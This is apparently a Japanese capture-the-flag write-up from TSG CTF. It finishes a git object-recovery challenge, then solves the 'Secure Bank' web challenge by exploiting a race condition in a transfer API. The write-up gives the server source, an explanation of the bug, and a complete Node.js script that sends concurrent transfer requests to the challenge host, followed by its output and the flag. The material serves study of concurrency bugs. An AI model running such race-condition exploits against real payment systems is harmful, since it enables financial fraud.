$ python brute_git_catfile.py 100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s] $ grep flag git_catfile.log | grep blob 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag $ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag
復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。
$ file flag flag: zlib compressed data
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
[Web] Secure Bank(当日は間に合いませんでした)
当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。
問題
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!
ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。
Difficulty estimate: Easy
require 'digest/sha1' require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' STRETCH = 1000 LIMIT = 1000 class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS account ( user TEXT PRIMARY KEY, pass TEXT, balance INTEGER ); SQL use Rack::PostBodyContentTypeParser enable :sessions def err(code, message) [code, json({message: message})] end not_found do redirect '/index.html', 302 end get '/source' do content_type :text IO.binread __FILE__ end get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end post '/api/balance' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user) row = res.next res.close return err(401, 'login first') unless row json({balance: row[0]}) end post '/api/register' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT sleep 1 hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} begin DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass rescue SQLite3::ConstraintException return err(422, 'the username has already been taken') end return 200 end post '/api/login' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass row = res.next res.close return err(401, 'username and password did not match') unless row session[:user] = user return 200 end post '/api/logout' do session[:user] = nil return 200 end post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end end
解答例
サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。
- 別のユーザにお金を送金する。
- フラグを表示する。
- ログアウトする。
フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。
- 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
- ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
- ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
- バインドメカニズムを使用しており、SQLインジェクションができそうにない。
- 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。
送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。
2つの送金処理を同時に行う。
- user0 が user1 に1円だけ送金する。(処理x)
- user1 が user2 に全額送金する。(処理y)
現在の状態:
user0 user1 user2 100 100 100 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。
- 処理yでuser1の残高を取得する。
処理yでuser1 から user2 に 全額送金される。
現在の状態:
user0 user1 user2 100 0 200 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。
現在の状態:
user0 user1 user2 99 101 200
このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。
- 3人分のユーザを登録する。
- 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
- user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
- user1 から user2 に全額送金する。
- user0のお金がなくならないように、user2 から user0 に20円送金する。
- 同様に、user2 から user1 に全額送金する。
- 3~6を目標金額まで繰り返す。
'use strict'; const request = require('request'); const Promise = require('promise'); const async = require('async'); const await = require('await'); function register(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/register', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { resolve(body); } }); }); }; function login(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/login', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { const cookie = response.headers['set-cookie'][0].split(';')[0]; resolve(cookie); } }); }); }; function balance(cookie_string) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/balance', method: 'POST', headers: headers, json: {} } return new Promise((resolve, reject) => { request(options, function (error, response, body) { if (body) { resolve(body.balance); } else if (error) { reject(error); } }); }); } function transfer(cookie_string, target, amount) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/transfer', method: 'POST', headers: headers, json: { 'target': target, 'amount': amount.toString(10) } } request(options, function (error, response, body) { if (error) console.log(error); }); } function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } (async () => { const users = ['bank1', 'bank2', 'bank3']; const passwd = 'aaaaaa'; const cookies = []; const keepcount = 20; for (let i = 0; i < users.length; i++) { await register(users[i], passwd); let cookie = await login(users[i], passwd); cookies.push(cookie); } while (true) { // 現在の残高取得 const balances = []; for (let i = 0; i < users.length; i++) { const money = await balance(cookies[i]); balances.push(money); console.log(users[i], money); } // 全額を送金するユーザ(users[1])に1円ずつ送金する for (let i = 0; i < keepcount; i++) transfer(cookies[0], users[1], 1); // 非同期 // 全額をusers[2]に送金する await transfer(cookies[1], users[2], balances[1]); balances[1] = await balance(cookies[2]); if (balances[1] >= 10000000000) break; // 送金したお金を元に戻す await transfer(cookies[2], users[0], keepcount); await sleep(1000); await transfer(cookies[2], users[1], balances[1] - keepcount); console.log('---------------'); } })();
必要なパッケージのインストールと実行結果
$ npm install request promise async await $ node secure_bank.js # 省略 --------------- bank1 2 bank2 20 bank3 5938478442 --------------- bank1 20 bank2 1942115006 bank3 3996363441 --------------- bank1 21 bank2 1942115015 bank3 5938478427 --------------- bank1 21 bank2 5938478445 bank3 3884230001 --------------- bank1 22 bank2 20 bank3 9822708426 --------------- bank1 1 bank2 3884230001 bank3 5938478445 --------------- bank1 0 bank2 3884230017 bank3 9822708426 --------------- bank1 0 bank2 9822708458 bank3 7768459998 --------------- bank1 21 bank2 20 bank3 17591168436
お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。
FLAG
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}